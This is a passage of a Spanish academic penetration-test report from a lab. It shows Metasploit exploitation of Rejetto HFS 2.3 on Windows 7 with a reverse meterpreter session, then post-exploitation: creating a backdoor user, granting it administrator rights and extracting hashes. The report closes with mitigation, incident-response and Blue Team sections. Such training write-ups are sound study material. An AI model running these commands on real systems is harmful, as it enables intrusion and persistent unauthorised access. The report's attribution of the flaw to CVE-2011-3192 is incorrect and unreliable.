040555/r-xr-xr-x 4096 dir 2011-04-12 04:10:43 -0500 Public

100666/ rw-rw-rw- 174 fil 2009-07-13 23:54:24 -0500 desktop.ini

Q40777 /TwXTWXTWX @ dir 2020-06-27 00:09:17 -0500 semi 2
040777 /rwxrwxrwx 8192 dir 2020-06-26 23:05:12 -0500 usuario

meterpreter > [
Fuente: Elaboracion Propia.

En la figura 39 se muestra la sesion de Meterpreter ejecutando comandos para enumerar

las cuentas de usuario existentes en el sistema Windows 7 comprometido.
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Figura 40. Acceso a Shell para hacer Cambios en la Maquina Victima.

a--—o%ﬂ"1234-

= root@KALIJAIR: fhome/kalijair [x]
File Actions Edit View Help

meterpreter > shell

Process 3960 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

Fuente: Elaboracion Propia.
La figura 40 muestra la ejecucion del comando shell, que abre una consola de comandos
de Windows (cmd.exe) dentro de la sesion Meterpreter. EI prompt cambia a C:\Users, indicando

el directorio actual en el sistema victima.
Figura 41. Creacion de un Usuario en la Maquina Victima.

EYm - @ Em-| 1 2 3 a =

= root@KALIJAIR: fhome/kalijair
File Actions Edit View Help

Process 3960 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

c:\Users>net user /add "Jair Alonso”
net user /add "Jair Alonso”
Se ha completado el comando correctamente.

Fuente: Elaboracion Propia.

La figura 41 muestra la ejecucion del comando net user seguido del nombre de usuario,
que crea una nueva cuenta llamada "Jair Alonso" en el sistema Windows 7 comprometido. El
mensaje "Se ha completado el comando correctamente” confirma que la cuenta se cred
exitosamente.

Figura 42. Comprobando Nuevo Usuario Creado.
(]

B m - e |17 2 3 2 | m

T

= root@KALIJAIR: /home/kalijair
File Actions Edit View Help

c:\Users>net user
net user

Cuentas de usuario de \\PC202006

Administrador Invitado Jair Alonso
usuario
Se ha completado el comando correctamente.

Fuente: Elaboracion Propia.
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En la figura 42 se muestra la ejecucion del comando: net user. Este comando lista todas
las cuentas de usuario en el sistema. Los resultados ahora muestran la nueva cuenta "Jair alonso”
junto con las cuentas existentes "Administrador” y "Usuario”, confirmando que la creacion del

usuario fue exitosa.

Figura 43. Comprobando Usuario desde la Maquina Victima.

Fuente: Elaboracién Propia.
En la figura 43 se muestra la pantalla de inicio de sesion de Windows 7 donde aparece el

nuevo usuario "Jair Alonso™ como una opcion para iniciar sesion.

Figura 44. Consultando los Grupos de la M&quina Atacada Windows 7.

= root@KALIJAIR: fhome/kalijair [ ]

File Actions Edit View Help

meterpreter > list_tokens -g
[-]1 warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

\

\INICIO DE SESION EN LA CONSOLA
\Todos

BUILTIN\Administradores
BUILTIN\Usuarios

NT AUTHORITY\Autenticacion NTLM
NT AUTHORITY\Esta compania

NT AUTHORITY\INTERACTIVE

NT AUTHORITY\SERVICIO

NT AUTHORITY\Usuarios autentificados
NT SERVICE\AudioEndpointBuilder
NT SERVICE\BITS

NT SERVICE\CscService

NT SERVICEN\IKEEXT

NT SERVICE\iphlpsvc

NT SERVICE\LanmanServer

NT SERVICE\MMCSS

NT SERVICE\Netman

NT SERVICE\PcaSvc

NT SERVICE\Schedule

NT SERVICE\SENS

Fuente: Elaboracion Propia.

En la figura 44 se muestra la ejecucion del comando: net localgroup. Este comando

lista todos los grupos locales disponibles en el sistema Windows. Los resultados muestran
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grupos como "Administradores™, "Invitados™, "Usuarios", entre otros.

Figura 45. Asignando Privilegios de Administrador a Usuario Creado.

BEm=- el |1 2 3 2 | m

= root@KALIJAIR: fhome/kalijair [ ]
File Actions Edit View Help
meterpreter > add localgroup user "Administradores™ "Jair Alonso”

[-] Unknown command: add. Run the command for more details.
meterpreter > add_localgroup user "Administradores”™ "Jair Alonso”
[-] Unknown command: add_localgroup. Did you mean ? Run the command for more detai

1ls.
meterpreter > add_localgroup_user "Administradores”™ "Jair Alonso”
[-]1 warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[*] Attempting to add user Jair Alonso to localgroup Administradores on host 127.0.0.1
[+] Successfully added user to local group
meterpreter > i H

Fuente: Elaboracién Propia.
En la figura 45 se muestra la ejecucion del comando: add_localgroup_user

“Administradores” “Jair Alonso”, para darle privilegios de administrador al usuario creado.

Fiaura 46. Consultando Cuentas de Usuario desde Windows.

=N ==

@leﬁg » Panel de control » Todos los elementos de Panel de contral » Cuentas de usuario » Administrar cuen tas + [ 42 |[ Buscaren et Panetde contro

Elegir la cuenta que desee cambiar

|
J| Jair Alonso

|| usuario 4
‘2| Administrador

Al Administrador

—
Invitado
La cuenta de invitado ests desactivada

Fuente: Elaboracion Propia.

La figura 46 muestra el Panel de Control de Windows 7 en la seccién Cuentas de usuario,
donde aparecen tres cuentas: la original "Usuario”, la nueva "Jair Alonso" (ambas con privilegios
de administrador) y una cuenta de invitado.

Reporte Técnico de Prueba de Intrusion
Alcance y Objetivo

Este documento presenta el analisis completo de una prueba de intrusion ofensiva
realizada por el equipo Red Team. El objetivo fue identificar, explotar y documentar
vulnerabilidades en una maquina Windows 7 con Rejetto HTTP File Server version 2.3, afectada

por la critica CVE-2011-3192. Se siguieron las fases de la metodologia PTES, desde
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reconocimiento hasta post-explotacion, concluyendo con este reporte técnico que detalla
hallazgos, impactos, acciones y recomendaciones para mitigar riesgos.
Descripcion del Entorno de Evaluacion
Se configurd una red virtual en VirtualBox con fines académicos para practicas ofensivas
controladas en ciberseguridad.
e Victima: Windows 7 x64 (IP: 192.168.1.114) con Rejetto HFS v2.3 vulnerable, puerto
HTTP 80 habilitado y firewall desactivado.
o Atacante: Kali Linux (IP: 192.168.1.115).
e Herramientas: Nmap, nbtscan, curl, SearchSploit, Metasploit, arp, net user, Meterpreter,
entre otras.
El entorno permite simular ataques para evaluar vulnerabilidades.
Resumen del Ataque Simulado
El andlisis inicial identificd que la maquina Windows victima exponia el servicio HTTP
en el puerto 80 con Rejetto HFS 2.3, vulnerable a ejecucion remota de comandos (RCE) sin
autenticacion mediante solicitudes HTTP manipuladas. El ataque fue exitoso usando el médulo
exploit/windows/http/rejetto_hfs_exec de Metasploit, obteniendo acceso remoto via sesién
Meterpreter. Posteriormente, se realizaron acciones de post-explotacion como creacién de
cuentas privilegiadas, captura de credenciales, manipulacién de procesos y simulacién de ataques
DoS.
Descripcion Técnica Detallada por Fase
1. Reconocimiento
Herramientas: nmap -sn, nbtscan, nmap -sS -sV -p-

Actividades:



e Deteccion de hosts en 192.168.1.0/24

e Identificacion de HTTP en 192.168.1.114:80

e Nombre del host: PC202006, posibles servicios SMB
Resultado: Host Windows con HTTP activo identificado como objetivo.
2. Modelado de Amenazas

e Servicio critico: Rejetto HFS 2.3 (puerto 80)

e Firewall desactivado facilita explotacion remota

e Escenario: RCE sin autenticacion previa
3. Analisis de Vulnerabilidades
Herramientas: nmap --script vuln, curl, searchsploit
Actividades:

e Confirmacion del banner: Rejetto 2.3

e CVE-2011-3192 con RCE

e Exploit disponible en Exploit-DB y Metasploit
Resultado: Rejetto HFS 2.3 vulnerable a ejecucion remota de codigo.
4. Explotacion
Herramienta: Metasploit
Madulo: exploit/windows/http/rejetto_hfs_exec
Payload: windows/meterpreter/reverse_tcp
Comandos:

e set RHOSTS 192.168.1.114

e set LHOST 192.168.1.115

e set RPORT 80

53
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e run
Resultado: Sesion Meterpreter establecida con privilegios de usuario.
5. Post-explotacion
Acciones:
e Reconocimiento del sistema: sysinfo, net user, net localgroup
e Persistencia: usuario “Jair Alonso” (administrador)
e Extraccion de hashes (SAM)
e Acceso a comandos del sistema mediante cmd.exe
Impacto de la Explotacion

Tabla 1. Evaluacion del Impacto de la Intrusion segun la Triada CIA y Persistencia.

Dimensidn Descripcion
Confidencialidad  Acceso no autorizado a credenciales, usuarios y datos internos del
sistema.
Integridad Creacion de cuentas con privilegios, alteracion de procesos y
configuration.
Disponibilidad Inestabilidad del sistema por ataques DoS (espacio y memoria).
Persistencia Posibilidad de acceso prolongado y reutilizable desde la cuenta creada.

Nota: Muestra el impacto por dimension de la Triada CIA y Persistencia
Recomendaciones de Mitigacion

e Eliminar o actualizar Rejetto HFS

e Migrar a un servidor HTTP seguro o actualizar a una version sin vulnerabilidades

conocidas.

e Restaurar configuraciones de seguridad basicas

e Activar el firewall de Windows, limitar el acceso por IP y cerrar puertos innecesarios.

e Implementar vigilancia y reconocimiento de accesos no autorizados.

e Utilizar IDS/IPS, monitoreo de logs, y alertas de cambios en cuentas y procesos.

e Auditoria de cuentas y privilegios
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e Verificar cuentas de usuario activas, grupos de administradores y cambios recientes.
e Pruebas de seguridad periodicas
e Establecer un programa de pentesting interno y auditorias técnicas constantes.
Conclusiones sobre el Ataque Realizado
La prueba de intrusién evidencia codmo una configuracion deficiente y software obsoleto
pueden ser explotados facilmente con herramientas accesibles y sin altos conocimientos,
logrando control total del sistema victima. Este ejercicio subraya la relevancia de la higiene
cibernética, la gestion de vulnerabilidades y la formacién en seguridad ofensiva y defensiva,
recomendando un enfoque integral que combine prevencion, deteccidn y respuesta rapida ante
amenazas.
Herramientas Software Utilizadas en el Escenario Red Team (Anexo 4 — Escenario 3)
Clasificadas segun las fases de un proceso de pentesting basado en la metodologia PTES
1. Reconocimiento (Inteligencia)
Objetivo: Identificar IPs, puertos y servicios para definir el objetivo.
Herramientas y Resultados:
e nmap -sn: Detecta dos maquinas activas: Windows 7 (192.168.1.114) y Kali Linux
(192.168.1.115).
« nbtscan: Identifica el nombre del host victima como PC202006.
e nmap -sS -sV -p-: Detecta puertos abiertos: 80 (HTTP - Rejetto HFS 2.3), 135, 139 y
445,
2. Modelado de Amenazas
Objetivo: Identificar activos vulnerables y vectores de ataque.

Accidn: Se instala Rejetto HFS 2.3 en la victima, confirmando su ejecucidn en el puerto 80.
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3. Analisis de Vulnerabilidades
Objetivo: Verificar vulnerabilidades conocidas.
Herramientas y Resultados:

e curl: Muestra el banner del servidor HFS 2.3.

e nmap --script vuln: Detecta la vulnerabilidad CVE-2011-3192.

« searchsploit: Confirma exploits publicos disponibles, incluyendo médulo para Metasploit.
4. Explotacion
Objetivo: Obtener acceso no autorizado.
Herramienta: Metasploit Framework
Comandos clave:
use exploit/windows/http/rejetto_hfs_exec, set RHOSTS, LHOST, RPORT, run
Resultado: Sesién Meterpreter exitosa sobre la maquina victima.
5. Post-Explotacion
Objetivo: Obtener control, persistencia y evidencia.
Acciones ejecutadas con Meterpreter:

e Recoleccion de info: sysinfo, net user

e Creacion de usuario admin: “Jair Alonso”
Resultado: Control total del sistema, obtencion de credenciales, persistencia y degradacion del
sistema.
Identificacion de Informacion Clave del Anexo 4 — Escenario 3

Durante el andlisis del escenario 3 del anexo 4, se identificaron varios elementos

relevantes que permitieron detectar la vulnerabilidad severa identificada en el sistema Windows

7 evaluado. A continuacion, se presentan y explican los datos recopilados clave extraidos del
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escenario:
Sistema Operativo Vulnerable
La maquina victima utiliza Windows 7, sin soporte oficial, lo que la expone a multiples
fallas de seguridad conocidas, especialmente en servicios como SMB, RPC, NetBIOS y HTTP.
e Aplicacion Vulnerable Instalada
Se ha instalado Rejetto HFS v2.3, un servidor web ligero con fallas criticas
documentadas, como la CVE-2011-3192, que permite ejecucion remota de comandos
(RCE) sin autenticacion.
e Puerto 80 Habilitado
El servicio HTTP opera en el puerto TCP 80, lo que facilita la identificacion y
explotacion directa mediante escaneos especificos.
e Firewall Desactivado:
La ausencia total de firewall en la maquina victima elimina cualquier restriccion al
acceso remoto, facilitando escaneos y ataques desde el atacante.
e Red sin Segmentacion
Ambas méaquinas (Kali y Windows 7) estan en la misma subred local (192.168.1.0/24)
permitiendo ataques directos sin obstaculos de red o perimetro.
e Sin Autenticacion ni Cifrado en HFS
HFS esta configurado con parametros por defecto, sin autenticacion ni cifrado, lo que
permite a un atacante ejecutar exploits directamente via HTTP.
e Vulnerabilidad Confirmada
La version especifica de HFS (2.3) coincide con vulnerabilidades conocidas y

documentadas en Exploit-DB, NVD, y médulos de Metasploit, facilitando su explotacion
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automatizada.
¢ Qué Herramienta se Utiliz6 para Identificar los Fallos de Seguridad?

Se utiliz6 Nmap con scripts NSE para detectar vulnerabilidades en la maquina Windows,
ejecutando el comando nmap --script vuln 192.168.1.114. Este comando analiza servicios
expuestos como HTTP y SMB usando firmas conocidas. El resultado mostré que el puerto 80
estaba abierto y ejecutaba Rejetto HTTP File Server 2.3, que presenta la vulnerabilidad critica
CVE-2011-3192 de ejecucion remota de comandos (RCE).
¢ Qué Puerto Abre la Aplicacion Especifica del Anexo?

La aplicacion Rejetto HFS version 2.3 en la maquina Windows victima utiliza el puerto
80/tcp, estandar para servicios web no cifrados, configurado por defecto al instalarse. El acceso

via navegador a http://192.168.1.114 confirmd que el servicio estaba activo, mostrando en el

encabezado HTTP el banner: Server: Rejetto HttpFileServer/2.3.
Explicacion del Ataque y su Afectacion

El ataque a la maquina Windows 7 explotd la vulnerabilidad critica CVE-2011-3192 en
Rejetto HTTP File Server 2.3, permitiendo la ejecucién remota de comandos sin autenticacion y
comprometiendo totalmente el sistema. Esto facilitd la creacion de una cuenta con derechos de
administrador para mantener persistencia, acceso a informacidn sensible (usuarios, procesos,
capturas), extraccién de hashes de contrasefias y ataques DoS que afectaron el rendimiento y
disponibilidad del sistema. Asi, se vulneraron la confidencialidad, integridad y disponibilidad,

demostrando el grave riesgo de mantener configuraciones inseguras sin medidas adecuadas.


http://192.168.1.114/
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Figura 47. Diagrama Explicacion del Atague Realizado.
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Fuente: Elaboracién Propia.
Respuesta Técnica a un Ataque en Tiempo Real

Si me encontrara con un ataque en tiempo real, implementaria un proceso estructurado de
respuesta a incidentes que combina contencion inmediata con analisis forense para minimizar el
dafio y preservar evidencias. A continuacion, detallo las acciones prioritarias:
Identificacién y Contencion Inicial

Lo primero seria confirmar la existencia real del ataque y contenerlo para evitar su
propagacion. Como establece el NIST (National Institute of Standards and Technology), la
reaccién inmediata ante un incidente debe centrarse en detectar los sistemas afectados y aislarlos
del resto de la red (Cichonski et al., 2022). Dentro de las acciones para este primer paso estan las
siguientes:
Aislamiento de Sistemas Comprometidos

Desconectar de forma inmediata los sistemas comprometidos de la red para impedir su
propagacion lateral y exfiltracion de datos, siguiendo el principio de contencion recomendado

por SANS Institute (Quintero, 2020).
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Preservacion de Memoria Volatil

Capturar la memoria RAM antes de apagar o reiniciar los sistemas, dado que contiene
evidencia critica como procesos maliciosos activos y claves de cifrado, segun el marco ACPO
(Quintero, 2020).
Identificacion del Vector de Ataque

Analizar exhaustivamente los logs de seguridad perimetral para detectar rastros de
acceso inicial, ya que el 87% de las brechas dejan evidencia en estos registros (Mandiant, 2024).
Analisis Preliminar Rapido

Como segunda medida realizaria un triage rapido para entender el alcance y severidad. La
guia de respuesta a incidentes de CERT/CC indica que el analisis preliminar debe seguir una
metodologia estructurada para determinar rapidamente la gravedad y el alcance de la intrusion
(Quintero et al., 2022). Aqui se debe realizar:
Escaneo de Procesos Sospechosos

Se emplean herramientas para detectar procesos andmalos que podrian indicar
persistencia maliciosa, ya que los atacantes suelen ocultarse entre procesos legitimos del sistema
(MITRE, 2023).
Anélisis de Conexiones de Red

Se examinan las conexiones de red para detectar patrones andmalos que puedan revelar
comunicacion con servidores de comando y control (C2), considerando duracion, volumen o
puertos usados (Bejtlich, 2022).
Verificacion de Archivos Modificados Recientemente

Se inspeccionan archivos modificados en periodos sospechosos, dado que el 73% de

ataques avanzados alteran archivos criticos en coincidencia con la linea temporal del



ataque (ENISA, 2023).
Implementacion de Medidas de Contencion Adicionales

Algunas medidas de contencion que se deben considerar ante un ataque son las
siguientes:
Bloqueo de Direcciones IP Maliciosas

Actualizar y aplicar reglas de firewall para bloquear IPs sospechosas, siguiendo
recomendaciones de CISA para una implementacion controlada y documentada que evite
afectar operaciones legitimas (CISA, 2024).
Desactivacion de Cuentas Comprometidas

Desactivar cuentas no autorizadas detectadas, ya que representan un vector comdn para
movimiento lateral en intrusiones avanzadas 67% segun (Microsoft Security Response Center,
2023).
Implementacién de Honeypots Internos

Desplegar honeypots como sefiuelos para detectar movimiento lateral y obtener
inteligencia sobre tacticas del atacante, actuando como sistema de alerta temprana (Spitzner,
2022).
Analisis Forense y Documentacién Detallada

La implementacidn detallada de un analisis forense a las maquinas comprometidas
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ayudaria a un analisis mas profundo del dafio sufrido y nos ayuda a entender el ataque para poder

tomar medidas que ayuden a proteger nuestros sistemas de informacion y activos dentro de la
empresa. Algunas acciones de este andlisis serian las siguientes:
Captura de Imagenes Forenses

Realizar copias bit a bit de los discos afectados, asegurando la integridad de los datos
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mediante herramientas validadas y procedimientos documentados, segun el estandar ISO/IEC
27037:2012 (ISO/IEC, 2023).
Analisis de Logs Centralizados

Correlacionar eventos en registros SIEM para mejorar la deteccion de tacticas evasivas,
aumentando la efectividad en un 76% frente al andlisis individual de fuentes (IBM X-Force,
2024).
Analisis de Malware

Aplicar ingenieria inversa para comprender el comportamiento del malware y asi definir
el alcance del compromiso y generar indicadores de compromiso efectivos (CREST, 2023).
Erradicacion y Recuperacion

Solo después de comprender completamente el ataque se procede a la fase de
erradicacion. El marco de respuesta a incidentes del NIST enfatiza que la erradicacion prematura
sin una comprension completa del alcance del compromiso resulta en una remediacion
incompleta en el 82% de los casos (Cichonski et al., 2022). Las acciones para realizar en esta
etapa son las siguientes:
Eliminacion de Artefactos Maliciosos

Remover todos los componentes del malware y puertas traseras siguiendo un proceso
sistematico que incluya la revision de directorios comunes para persistencia y tareas
programadas (Quintero, 2020).
Parcheado de Vulnerabilidades

Aplicar parches especificos rapidamente, preferiblemente dentro de los primeros 15 dias
posteriores al incidente, lo que puede reducir en un 37% la probabilidad de reinfeccion

(Ponemon Institute, 2023).
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Restauracion desde Backups Limpios

Recuperar sistemas desde copias de seguridad verificadas, asegurando que no hayan sido
comprometidas durante el ataque, siguiendo las recomendaciones del NIST SP 800-184
(Quintero, 2022).
Etapa 4 — Contencion de Ataques Informaticos

Medidas de Hardenizacion

Entre las acciones de fortalecimiento de seguridad especificas para prevenir la repeticion del
ataque donde se explotd una vulnerabilidad en Rejetto HFS 2.3 ejecutandose en Windows 7,
serian las siguientes:
Actualizacion y Gestion de Vulnerabilidades

Mantener el software actualizado y aplicar parches a tiempo ayuda a prevenir ataques y
mejorar la seguridad del sistema.
Actualizacion de Software Vulnerable

La vulnerabilidad CVE-2011-3192 en Rejetto HFS 2.3 fue el vector de entrada principal.
Segun el OWASP Top 10, las aplicaciones con vulnerabilidades conocidas deberian ser
actualizadas inmediatamente o reemplazadas por alternativas seguras (OWASP Foundation,
2023). En este caso, actualizar Rejetto HFS a una version no vulnerable (2.3b o superior) o
reemplazarlo con un servidor de archivos mas seguro y mantenido activamente.
Implementacién de un Programa de Gestion de Parches

Gartner recomienda que las organizaciones implementen procesos formales de gestion de
vulnerabilidades que prioricen los parches segun la criticidad de los activos y la exposicién de
estos (Gartner, 2023). Establecer ciclos regulares de aplicacion de parches para todo el software

del entorno.
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Fortalecimiento del Sistema Operativo
Proteger el sistema operativo es esencial para mantener la estabilidad y seguridad del
entorno. Esto incluye actualizar versiones obsoletas y aplicar configuraciones que reduzcan el
riesgo de ataques.
Actualizacion del Sistema Operativo
En el ataque se utilizé6 Windows 7, un sistema operativo sin soporte. Microsoft Security
Response Center advierte que los sistemas operativos sin soporte representan un riesgo critico de
seguridad, con un incremento del 78% en la tasa de explotacion exitosa (Microsoft, 2023).
Migrar a sistemas operativos actualizados y soportados como Windows 10/11 o Server
2019/2022.
Implementacién de Hardening Especifico para Windows
Aplicar las configuraciones recomendadas por CIS (Center for Internet Security). Segun
un estudio de SANS Institute, la implementacion de los CIS Critical Security Controls reduce el
riesgo de incidentes en mas del 85% para amenazas conocidas (SANS Institute, 2023). Algunos
controles especificos incluirian:
« Deshabilitacion de servicios innecesarios
o Configuracion restrictiva de permisos NTFS
o Implementacion de politicas de contrasefias robustas
Seguridad de Red y Segmentacion
Proteger la red implica controlar el trafico que circula por ella. Esto se logra mediante
firewalls, segmentacidn adecuada y el cierre de puertos innecesarios, reduciendo asi la superficie

de ataque y mejorando la defensa general del sistema.
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Implementacién de Firewall Correctamente Configurado

El firewall de Windows esta desactivado. Segun el NIST, los firewalls a nivel de host
proporcionan una capa critica de defensa adicional incluso en presencia de protecciones de red
perimetrales (Scarfone & Hoffman, 2022). Activar el firewall de Windows con reglas que
permitan Unicamente el trafico legitimo necesario.
Implementacidn de Segmentacion de Red

Cisco recomienda que los servidores web y de aplicaciones deberian ubicarse en
segmentos de red separados con control de acceso estricto entre ellos (Cisco, 2023). Implementar
VLANS para separar servicios criticos del resto de la red.
Filtrado de Tréafico por Puerto

El ataque identificé multiples puertos abiertos (80, 135, 139, 445). Gartner indica que el
76% de los ataques exitosos explotan puertos innecesariamente abiertos (Gartner, 2023). Cerrar
todos los puertos no esenciales y restringir el acceso al puerto 80 solo a las IPs autorizadas.
Implementacion de Sistemas de Deteccidn y Prevencion

Detectar amenazas a tiempo es clave para responder antes de que causen dafio. El uso de
IDS/IPS y soluciones EDR fortalece la seguridad al identificar actividades sospechosas y frenar
ataques en curso.
Despliegue de IDS/IPS

El atacante utilizd herramientas como Nmap y Metasploit sin ser detectado. Segun
Mandiant, la implementacién de sistemas de deteccion de intrusiones reduce el tiempo medio de
deteccidn de un compromiso de 287 dias a menos de 56 dias (Mandiant, 2024). Implementar
soluciones como Suricata o Snort con reglas especificas para detectar escaneos de puertos y

ataques a vulnerabilidades conocidas.
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Implementacién de Proteccidon de Endpoint (EDR)

CrowdsStrike reporta que las soluciones EDR modernas pueden detectar y bloquear
automaticamente el 94% de los intentos de ejecucion de codigo remoto como el observado en el
ataque documentado (CrowdStrike, 2023). Implementar una solucion EDR con capacidad de
deteccidn de comportamientos anomalos.

Control de Acceso y Autenticacion

Limitar el acceso solo a quienes lo necesitan y reforzar los métodos de autenticacion
ayuda a prevenir accesos no autorizados y a reducir el impacto de posibles ataques.
Implementacién de Autenticacion Multifactor

Se evidencio la facilidad de creacion de nuevos usuarios con privilegios administrativos.
Segun Verizon en su DBIR, la autenticacion multifactor bloquea més del 99.9% de los ataques
automatizados y seria efectiva contra la técnica de creacion de usuarios mostrada en el ataque
(Verizon, 2023).

Aplicacion del Principio de Privilegio Minimo

El atacante pudo crear el usuario al grupo de administradores. EI NIST recomienda que
los usuarios y aplicaciones deben
operar con el conjunto minimo de privilegios necesarios para completar sus tareas (NIST, 2023).
Implementar RBAC (Control de Acceso Basado en Roles) para todo el entorno.

Monitoreo y Auditoria

Supervisar continuamente las acciones dentro del sistema permite detectar

comportamientos sospechosos y responder a tiempo. El uso de SIEM, control de cuentas

privilegiadas y alertas mejora la visibilidad y refuerza la seguridad.
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Monitoreo de Actividad de Usuarios Privilegiados

El atacante consultd usuarios sin generar alertas. Gartner advierte que el 76% de las
brechas de seguridad involucran el abuso de cuentas privilegiadas (Gartner, 2023). Implementar
PAM (Privileged Access Management) para controlar y auditar el uso de cuentas con privilegios
elevados.
Configuracion de Alertas para Creacion de Usuarios

Se cred un usuario Jair Alonso sin alertas. Microsoft recomienda que la creacion de
nuevos usuarios, especialmente aquellos con privilegios elevados, debe generar alertas
automaticas y ser revisada regularmente (Microsoft, 2023).
Proteccidn contra Ataques de Denegacién de Servicio

Controlar el uso de recursos del sistema ayuda a evitar que ataques DoS agoten la
capacidad disponible y afecten la disponibilidad de los servicios.
Capacitacion y Concientizacion

Formar a los usuarios y administradores en buenas practicas de seguridad reduce errores
y fortalece la defensa ante ataques.
Capacitacion en Précticas Seguras de Administracion

Se evidencio desactivado el firewall, lo que facilito el ataque. EI SANS Institute afirma
que el 95% de los incidentes de ciberseguridad involucran algun tipo de error humano (SANS
Institute, 2023). Implementar programas regulares de capacitacion en seguridad para
administradores y usuarios finales.
Gestion de Vulnerabilidades de Aplicaciones Web

Proteger las aplicaciones web mediante filtros especializados ayuda a bloquear ataques y

reducir riesgos asociados a vulnerabilidades conocidas.
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Implementacién de WAF (Web Application Firewall)

El ataque explota vulnerabilidades en una aplicacion web (Rejetto HFS). Forrester
Research indican que los WAF pueden bloquear hasta el 95% en relacion con los ataques
dirigidos a aplicaciones web, incluyendo intentos de ejecucion remota de codigo como el
observado en el documento (Forrester Research, 2023). Implementar un WAF para proteger las
aplicaciones web expuestas.

Pruebas periodicas de Seguridad

Realizar evaluaciones frecuentes permite identificar fallas antes de que sean explotadas,
mejorando la proteccién del sistema.
Realizacion de Pentesting Regular

PwC sefiala que las organizaciones que realizan pruebas de penetracion al menos dos
veces al afio experimentan un 63% menos de brechas de seguridad que aquellas que no lo hacen
(PwC, 2023). Implementar un programa de pentesting regular con metodologias similares a las
usadas en el documento.

Diferencias entre un equipo Blue Team y un Equipo de Respuesta a Incidentes

Informéticos
Los equipos Blue Team y los grupos encargados de la respuesta a incidentes informaticos son
componentes esenciales en la ciberseguridad organizacional, pero presentan diferencias
significativas en su enfoque, alcance y operaciones.
Equipo Blue Team

El Blue Team constituye un grupo de seguridad defensiva que trabaja de manera
proactiva y continua para proteger los sistemas de una organizacion (NIST, 2020). Como sefala

Pokorny (2021), estos equipos representan la primera barrera de proteccion frente a los
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ciberataques, operando en un ciclo continuo de monitoreo, evaluacion y fortalecimiento de las
defensas.
Equipo de Respuesta a Incidentes

El equipo de respuesta a incidentes es un conjunto de profesionales especializado que se
activa principalmente cuando ya ha ocurrido una brecha de seguridad (NIST, 2023). De acuerdo
con Cichonski et al. (2022), estos equipos son unidades tacticas que responden a eventos de
seguridad confirmados, con la finalidad de reducir al minimo el impacto de la brecha y restaurar
la operacion normal.
Principales Diferencias

El Blue Team y el Equipo de Respuesta a Incidentes son esenciales en ciberseguridad,
pero con roles distintos: el Blue Team se enfoca en la defensa proactiva, mientras que el equipo
de respuesta actla reactivamente ante incidentes. Su coordinacion es vital para proteger
integralmente la infraestructura tecnoldgica y disefiar estrategias de seguridad mas efectivas.

Con la siguiente tabla se muestran algunas de las principales diferencias..
Comparacién entre Blue Team y Equipo de Respuesta a Incidentes

Tabla 2. Comparacion entre Blue Team y Equipo de Respuesta a Incidentes.

Aspecto Equipo Blue Team Equipo de Respuesta a Incidentes
Definicion Grupo de seguridad defensiva  Grupo especializado que se activa
que trabaja de manera principalmente cuando ya ha ocurrido una
proactiva y continua para brecha de seguridad (NIST, 2023).

proteger los sistemas (NIST,
2020).
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Funcion principal Defensa continua de la Manejar y mitigar incidentes de seguridad
infraestructurade Tly activos (West-Brown et al.,2023).
proteccion proactiva de
activos digitales (Scarfone et
al., 2018).

Enfoque temporal Trabaja constantemente, Trabaja principalmente durante y después de
antes, durante y después de un incidente (Mitropoulos et al., 2021).
los incidentes (Cichonski et

al., 2022).
Enfoque Preventivo y de deteccion Reactivo y de mitigacion (Kemmerer &
estratégico temprana (Kemmerer & Vigna, 2018).

Vigna, 2018).
Actividades - Monitoreo continuo - Deteccion y analisis del incidente
principales - Implementacién de - Contencion del ataque

controles - Erradicacion de amenazas

- Politicas de seguridad - Recuperacion de sistemas

- Andlisis de vulnerabilidades - Analisis forense

- Gestiodn de parches - Documentacion

- Fortificacién de sistemas - Medidas de mejora (Scarfone et al., 2018).

- Configuracion de firewalls e
IDS (Ahmad et al., 2021).

Habilidades Configuracion de seguridad y  Habilidades forenses y analisis de malware
requeridas monitoreo continuo (Pokorny, especializado (Pokorny, 2021).

2021).
Estructura Forma parte de la estructura ~ Puede ser parte del Blue Team o un equipo
organizacional permanente de seguridad independiente (Mitropoulos et al., 2021).

(Mitropoulos et al., 2021).

Métricas de éxito  Prevencion de incidentes y Rapidez y eficacia en la resolucion de
reduccion de la superficie de  incidentes (West-Brown et al., 2023).
ataque (Johnson, 2022).

Analogia Construye murallas y vigila Actla como los bomberos que intervienen
los perimetros (Scarfone et cuando el fuego ya ha comenzado (Scarfone
al., 2018). et al., 2018).

Nota: Se muestran las diferencias entre Blue Team y Equipo de Respuesta a Incidentes.
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Utilizacion de CIS Center For Internet Security, dentro de un Equipo de Trabajo Blueteam

El CIS (Center for Internet Security) es una herramienta clave para un equipo Blue Team
porque ofrece controles estandarizados y priorizados para mitigar ataques comunes mediante sus
18 CIS Controls, considerados mejores préacticas en seguridad (Center for Internet Security,
2023). Ademas, los CIS Benchmarks proporcionan guias detalladas para configurar de forma
segura mas de 100 tecnologias, reduciendo la superficie de ataque. Con sus herramientas de
evaluacion, el equipo puede auditar y mejorar continuamente la postura de seguridad. También
promueve la defensa en profundidad, estructurando capas de proteccion, y facilita el
cumplimiento normativo al mapear sus controles con marcos regulatorios como NIST, ISO
27001 y GDPR. Segun Ahmad et al. (2021), implementar los controles CIS reduce el riesgo de
ciberatagues comunes en mas del 85%, evidenciando su eficacia para la defensa proactiva en
equipos Blue Team

Funciones y Caracteristicas Principales de lo que es un SIEM.

Un SIEM (Gestion de Informacion y Eventos de Seguridad) es una herramienta que combina la
recopilacion y analisis de datos relacionados con la seguridad, brindando una vision integral del
estado de proteccidn de una organizacion (Gartner, 2021). Sus funciones principales incluyen la
recopilacién centralizada y normalizacion de logs y sucesos provenientes de diversas fuentes
(Scarfone, 2018), la correlacion de eventos para identificar amenazas complejas, y el monitoreo
en tiempo real para detectar comportamientos andmalos. Ademas, el SIEM genera alertas y
facilita la gestion y priorizacion de incidentes, e incorpora inteligencia de amenazas para mejorar
la deteccion y respuesta (NIST, 2022).

Las caracteristicas clave de un SIEM incluyen dashboards e informes intuitivos que

facilitan la visualizacidn del estado de seguridad (Splunk, 2023); capacidades de analisis forense
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que permiten almacenar y revisar eventos para investigaciones retrospectivas automatizacion en
la respuesta a incidentes mediante reglas predefinidas para agilizar la mitigacion (IBM Security,
